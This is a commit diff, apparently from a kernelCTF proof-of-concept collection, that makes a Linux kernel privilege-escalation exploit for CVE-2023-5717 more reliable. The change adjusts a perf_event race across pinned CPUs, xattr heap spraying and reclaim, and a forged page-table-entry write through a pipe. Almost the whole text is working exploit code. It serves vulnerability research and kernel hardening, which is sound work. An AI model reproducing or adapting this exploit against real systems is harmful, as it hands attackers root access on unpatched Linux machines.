Improved speed & relibility

Author: msh1307

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit

@@ -285,6 +285,7 @@ void print_proc_self_maps_raw() {
     close(fd);
 }
 
+int counter_init = 0;
 void race(int group_leader) { // caller must have ownership of the group
     int pipefd[2];
     uint64_t buf[0x2000] = {0, };
@@ -299,33 +300,39 @@ void race(int group_leader) { // caller must have ownership of the group
         perror("reclaim failed");
         exit(EXIT_FAILURE);
     }
+
     pid_t child_pid = fork();
     if (child_pid == 0) {  // child read
         _pin_to_cpu(CPU_A);
         sched_yield();
         DEBUG_PRINT();
         raise(SIGSTOP); // stop - keep same generation
         for (int i=0; i<512+511; i++){
-            ioctl(siblings[i], PERF_EVENT_IOC_RESET, 0);
+            ioctl(siblings[i], PERF_EVENT_IOC_RESET, PERF_IOC_FLAG_GROUP);
             ioctl(siblings[i], PERF_EVENT_IOC_ENABLE, 0);
         }
         if (close(siblings[100]) < 0) { 
             perror("close failed");
             exit(EXIT_FAILURE);
+        }   
+        char * addr; 
+        if (!counter_init) { // preserving previously recorded counters. 
+            puts("[+] Initializing Counters");
+            addr = (char *)mmap(NULL, 0x1000 * 0x80, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+            for (int i=0; i<0x80; i++){
+                ioctl(group_leader, PERF_EVENT_IOC_ENABLE, 0);
+                addr[0x1000 * i] = 0x41;
+                ioctl(group_leader, PERF_EVENT_IOC_DISABLE, 0);
+            }
         }
-        ioctl(group_leader, PERF_EVENT_IOC_RESET, 0);
-
-        char *addr = (char *)mmap(NULL, 0x1000 * 0x80, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
-        for (int i=0; i<0x80; i++){
-            ioctl(group_leader, PERF_EVENT_IOC_ENABLE, 0);
-            addr[0x1000 * i] = 0x41;
-            ioctl(group_leader, PERF_EVENT_IOC_DISABLE, 0);
-        }
+        
         write(pipefd[1], buffer, 1); // sync point A
         remove_xattr("security.x12296_10", 1);
+        // x10 reclaimed by CPU_B is now released on CPU_A
         for (int _=0; _<1; _++) {
             read(group_leader, buf, sizeof(buf));
         }
+        sched_yield();
         remove_xattr("security.ssiphim", 1);
         if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {
             perror("reclaim failed");
@@ -334,7 +341,9 @@ void race(int group_leader) { // caller must have ownership of the group
         uint64_t pte = 0x8000000000000067;
         write(vuln_pipe[1], &pte, 8);  
         read(vuln_pipe[0], &pte, 8);
-        munmap(addr, 0x1000 * 0x80);
+        if (!counter_init) {
+            munmap(addr, 0x1000 * 0x80);
+        }
         exit(0);
     }
     else if (child_pid > 0) { // parent
@@ -377,6 +386,8 @@ void race(int group_leader) { // caller must have ownership of the group
     }
     // DEBUGDEBUG - not
     waitpid(child_pid, &status, 0);
+    if (!counter_init)
+        counter_init = 1;
 
     close(pipefd[0]);
     close(pipefd[1]);
@@ -451,14 +462,21 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
             exit(EXIT_FAILURE);
         }
         if (is_racer) {
+            _pin_to_cpu(CPU_B);
+            sched_yield();
+            // Minimizing heap noise. 
+            // child will be running on CPU_A
             spray_xattr_page(0x3008, 12, 1); // 12296
             spray_xattr_page(0x4008, 2, 1); // 16392
             remove_xattr("security.x16392_0", 1);
             remove_xattr("security.x16392_1", 1);
             remove_xattr("security.x12296_5", 1);
             remove_xattr("security.x12296_6", 1);
+            sched_yield();
+            // this reclaim process must be atomic
             remove_xattr("security.x12296_11", 1);
             resize_pipe(vuln_pipe[1], 0x1000 * 220);
+            sched_yield();
             remove_xattr("security.x12296_10", 1);
             remove_xattr("security.x12296_7", 1); 
             if (setxattr("/tmp/x1", "security.x12296_10", buf, 0x3008, 0) < 0) {